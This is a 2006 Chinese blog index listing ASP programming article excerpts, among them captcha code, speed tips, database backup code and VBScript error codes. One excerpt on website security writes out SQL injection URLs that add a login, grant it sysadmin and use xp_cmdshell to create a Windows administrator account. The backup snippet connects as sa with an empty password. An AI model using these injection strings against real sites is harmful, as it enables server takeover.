博文

asp中产生验证码的代码(2006-09-29 15:49:00)

摘要:<%'-------------定义随机码 dim rndnum,verifycode Randomize Do While Len(rndnum)<4 num1=CStr(Chr((57-48)*rnd+48)) rndnum=rndnum&num1 loop session("RandomNum1")=rndnum'-------------定义随机码结束%> 其中4为这个验证码的位数......

阅读全文(5051) | 评论:0

Asp编码优化技巧8则(2006-08-29 18:39:00)

摘要:ASP(Active Server Page)是Microsoft公司推出的基于PWS(Personal Web Server)&IIS(Internet Information Server)平台的、基于ISAPI(InternetServiceAPI)原理的动态网页开发技术,目前日趋成熟完善。在这里仅就代码优化进行一些简单讨论。 1、声明VBScript变量     在ASP中,对vbscript提供了强劲的支持,能够无缝集成vbscript的函数、方法,这样给扩展ASP的现有功能提供了很大便利。由于ASP中已经模糊了变量类型的概念,所以,在进行ASP与vbscript交互的过程中,很多程序员也惯于不声明vbscript的变量,这样加重了服务器的解析负担,进而影响服务器的响应请求速度。 鉴于此,我们可以象在VB中强制用户进行变量声明一样在vbscript中强制用户进行变量声明。实现方法是在ASP程序行首放置<% option explicit%>。 2、对URL地址进行编码     在我们使用asp动态生成一个带参数URL地址并进行跳转时,在IE中解析很正常,但在NetScrape浏览时却有错误如下: HTTP Error 400 400 Bad Request Due to malformed syntax, the request could not be understood by the server. The client should not repeat the request without modifications. 解决方法是对生成的URL参数使用ASP内置server对象的URLencode方法进行URL编码,例子如下: <% URL="xur.asp" var1="username=" & server.URLencode("xur") var2="&company=" & server.URLencode("xurstudio") var3="&phone=" & server.URLencode("021-53854336-186") response.redirect URL & "?" & var1......

阅读全文(3105) | 评论:0

asp中自己做具有个性的表格(2006-08-18 12:03:00)

摘要:框边框属性1、border-topborder-bottomborder-rightborder-left功能:这四个属性都是简写属性,分别设置上,下,右,左的边框属性。缺省情况下,边框没有样式设置。数值:共有三个边框属性border-width: 取值为 thin, medium, thick或指定长度。border-style: 设置用于修饰边框的底纹。可以设置下列样式:none, dotted,doshed, solid, double, groove, ridge, inset, outset。border-color: 设置边框颜色。2、border-top-widthborder-bottom-widthborder-right=widthborder-left-width 功能:分别设置各个边框的厚度。数值:thin - 细边框。medium - 中等线宽。thick - 粗线。长度 - 用相对或绝对单位设置边框宽度。3、border-width功能:简写属性,可同时设置四个边框的宽度。数值:thin - 细边框。medium - 中等线宽。thick - 粗线。长度 - 用相对或绝对单位设置边框宽度。说明:见 padding 说明。5、border-style功能:用于显示边框和指定边框样式。数值:none - 不显示边框,为缺省值dotted - 点线dashed - 虛线solid - 实线double - 双线groove - 3D陷入线ridge - 3D山脊狀线inset - 使页面有沉入感outset - 使页面有浮出感说明:并非所有浏览器都能显示ridge, inset, outset 之类的样式,有些浏览器将所有边......

阅读全文(5412) | 评论:0

ASP 五大高效提速技巧(2006-07-26 11:24:00)

摘要:技巧之一:提高使用Request集合的效率   访问一个ASP集合来提取一个值是费时的、占用计算资源的过程。因为这个操作包含了一系列对相关集合的搜索,这比访问一个局部变量要慢得多。因此,如果打算在页面中多次使用Request集合中的一个值,应该考虑将其存贮为一个局部变量。   例如将代码写成下面的形式以加快脚本引擎处理速度:  strTitle=Request.Form("Title")   strFirstName=Request.Form("FirstName")   strLastName=Request.Form("LastName")   If Len(strTitle) Then strTitle=strTitle & " "   If strFirstName="" Then strFullName=strTitle & " " & strLastName   Elseif Len(strFirstName)=1 Then   strFullName=strTitle & strFirstName & ". " & strLastName   Else   strFullName=strTitle & strFirstName & " " & strLastName   End If技巧之二:直接访问适当的集合   如果不是别无选择,否则不要使用strPage=Request("page")的这样的形式来获取参数,因为这将按顺序搜索全部的集合—QueryString、Form、Cookies、ClientCertificate、ServerVarible直到发现第一个匹配值的名称。这样做比直接访问适当的集合效率低,并且是不安全的,除非能绝对保证这个值不会出现在另外一个集合中。  例如,可能希望搜索满足客户请求的WEB服务器名称,这通过出现在每个查询中的Request.ServerVarables集合中寻找“SERVER_NAME”来实现。然而,假如其他的集合也包含名为“SERVER_NAME”的值(键名不区分大小写),当使用Request("server_Name")时,就会得到错误的结果。总而言之,应尽可能直接访问适当的集合。 技巧之三:在费时操作前使用Response.IsCl......

阅读全文(3677) | 评论:0

网站安全(2006-07-16 13:33:00)

摘要:程的书上,源代码例子就有这个漏洞存在,其实只是一些合法的ASP对SQL的请求,就留下后患无穷! 这种攻击方法最早源于''or''1''=''1的漏洞(我们暂且称其为漏洞),这个漏洞的原理我想大家因该都知道了,那么随之而来的便是;exec sp_addlogin hax(在数据库内添加一个hax用户),但是这个方法的限制很大,首先ASP使用的SQL Server账号是个管理员,其次请求的提交变 量在整个SQL语句的最后,因为有一些程序员采用SELECT * FROM news WHERE id=... AND topic=... AND ..... 这种方法请求数据库,那么如果还用以上的例子就会 news.asp?id=2;exec sp_addlogin hax 变成SELECT * FROM news WHERE id=2;exec sp_addlogin hax AND topic=... AND ... 整个SQL语句在执行sp_addlogin的存储过程后有AND与判断存在,语法错误,你的sp_addlogin自然也不能正常运行了,因此试试看下面这个方法 news.asp?id=2;exec sp_addlogin hax;-- 后面的--符号把sp_addlogin后的判断语句变成了注释,这样就不会有语法错误了,sp_addlogin正常执行! 那么我们连一起来用吧 news.asp?id=2;exec master.dbo.sp_addlogin hax;-- news.asp?id=2;exec master.dbo.sp_password null,hax,hax;-- news.asp?id=2;exec master.dbo.sp_addsrvrolemember sysadmin hax;-- news.asp?id=2;exec master.dbo.xp_cmdshell ''net user hax hax /workstations:* /times:all /passwordchg:yes /passwordreq:yes/active:yes /add'';-- news.asp?id=2;exec master.dbo.xp_cmdshell ''net localgroup administrators hax /add'';-......

阅读全文(594) | 评论:0

asp中备份数据库代码(2006-07-16 09:31:00)

摘要:asp在线备份sql server数据库:1、备份<%SQL="backup database 数据库名 to disk='"&Server.MapPath("backup")&"\"&"backuptext.dat"&"'"set cnn=Server.createobject("adodb.connection")cnn.open "driver={SQL Server};Server=服务器名;uid=sa;pwd="cnn.execute SQLon error resume nextif err<>0 then   response.write "错误:"&err.Descriptingelse   response.write "数据备份成功!"end if%>2、恢复<%SQL="Restore database 数据库名 from disk='"&Server.MapPath("backup")&"\"&"backuptext.dat"&"'"set cnn=Server.createobject("adodb.connection")cnn.open "driver={SQL Server};Server=服务器名;uid=sa;pwd="cnn.execute SQLon error resume nextif err<>0 then   response.write "错误:"&err.Descriptingelse   response.write "数据恢复成功!"end if%>ACCESS原理一样 <%  '*****************......

阅读全文(5072) | 评论:0

用户登录代码(2006-07-11 18:51:00)

摘要:ASP用户登录代码......

阅读全文(9635) | 评论:2

asp错误提示(2006-07-10 09:06:00)

摘要:MicrosoftVBScript语*错误(0x800A03E9)-->内存不足MicrosoftVBScript语*错误(0x800A03EA)-->语*错误MicrosoftVBScript语*错误(0x800A03EB)-->缺少 ':'MicrosoftVBScript语*错误(0x800A03ED)-->缺少 '('MicrosoftVBScript语*错误(0x800A03EE)-->缺少 ')'MicrosoftVBScript语*错误(0x800A03EF)-->缺少 ']'MicrosoftVBScript语*错误(0x800A03F2)-->缺少标识符MicrosoftVBScript语*错误(0x800A03F3)-->缺少 '='MicrosoftVBScript语*错误(0x800A03F4)-->缺少 'If'MicrosoftVBScript语*错误(0x800A03F5)-->缺少 'To'MicrosoftVBScript语*错误(0x800A03F6)-->缺少 'End'MicrosoftVBScript语*错误(0x800A03F7)-->缺少 'Function'MicrosoftVBScript语*错误(0x800A03F8)-->缺少 'Sub'MicrosoftVBScript语*错误(0x800A03F9)-->缺少 'Then'MicrosoftVBScript语*错误(0x800A03FA)-->缺少 'Wend'MicrosoftVBScript语*错误(0x800A03FB)-->缺少 'Loop'MicrosoftVBScript语*错误(0x800A03FC)-->缺少 'Next'MicrosoftVBScript语*错误(0x800A03FD)-->缺少 'Case'MicrosoftVBScript语*错误(0x800A03FE)-->缺少 'Select'MicrosoftVBScript语*错误(0x800A03FF)-->缺少表达式MicrosoftVBScript语*错误(0x800A0400)-->缺少语句MicrosoftVBScript语*错误(0x800A04......

阅读全文(3812) | 评论:0

asp常用代码(2006-07-04 13:43:00)

摘要:1.如何用Asp判断你的网站的虚拟物理路径    答:使用Mappath方法    < p align="center" >< font size="4" face="Arial" >< b >    The Physical path to this virtual website is:    < /b >< /font >    < font color="#FF0000" size="6" face="Arial" >    < %= Server.MapPath("\")% >    < /font >< /p >    2.我如何知道使用者所用的浏览器?    答:使用the Request object方法    strBrowser=Request.ServerVariables("HTTP_USER_AGENT")    If Instr(strBrowser,"MSIE") < > 0 Then      Response.redirect("ForMSIEOnly.htm")    Else      Response.redirect("ForAll.htm")    End If  3.如何计算每天的平均反复访问人数    答:解决方法    < % startdate=DateDiff("d",Now,"01/01/1990")    if strdate< 0 then startdate=startdate*-1    avgvpd=Int((usercnt)/startdate) % >    显示结果    < % response.write(avgvpd) % >    that is it.this page have been viewed since November 10,1998  4.如何显示随机图象    <......

阅读全文(4106) | 评论:0

图形按纽(2006-06-29 15:12:00)

摘要:<input name="submit" type="reset" id="submit3" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BACKGROUND-IMAGE:  url(images/dl.gif); BORDER-LEFT: 0px; WIDTH: 65px; BORDER-BOTTOM: 0px; HEIGHT: 17px; cursor:hand;" value="">......

阅读全文(8701) | 评论:0